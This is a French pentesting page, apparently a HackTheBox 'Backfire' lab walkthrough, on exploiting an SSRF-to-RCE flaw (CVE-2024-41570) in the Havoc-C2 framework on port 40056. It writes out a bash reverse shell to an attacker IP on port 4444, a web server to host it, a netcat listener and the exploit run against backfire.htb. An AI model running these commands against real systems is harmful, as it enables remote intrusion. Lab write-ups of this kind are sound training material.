# Port 40056 Pentesting Havoc-C2

{% hint style="info" %}
Havoc-C2 est un **outil de commande et contrôle (C2)** open-source conçu pour les tests d'intrusion et les simulations d'attaques. Il permet aux professionnels de la cybersécurité de gérer des agents malveillants implantés sur des systèmes compromis, de planifier des attaques, et d'exfiltrer des données, dans un environnement contrôlé, pour évaluer la sécurité des infrastructures informatiques.
{% endhint %}

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FE51mgYyAyJvtIKQSzWDM%2Fimage.png?alt=media&#x26;token=3b24612d-312a-4409-87d6-26ea588375ee" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

Pour exploiter la vulnérabilité SSRF dans Havoc, nous créons un fichier `payload.sh` contenant le code suivant :

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

Ensuite, nous mettons en place un serveur web pour héberger notre payload avec la commande suivante :

```bash
python3 -m http.server 80
```

Nous écoutons ensuite sur le port 4444 avec netcat pour recevoir la connexion inversée :

```bash
nc -nlvp 4444
```

Nous modifions le script pour y inclure les informations pertinentes, puis exécutons l'exploitation via la commande suivante :

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Frc0rls1YOkqKOMk7l8Zo%2Fimage.png?alt=media&#x26;token=a8289a20-e549-4fef-8fa1-b5dd4f1b1271" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**Accès utilisateur :**

L'utilisateur **ilya** permet de se connecter à la machine cible.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FB6RXU3Nc3WL6STErfn3x%2Fimage.png?alt=media&#x26;token=03206485-f4ed-41ae-b7d9-080d712c8446" alt=""><figcaption></figcaption></figure>
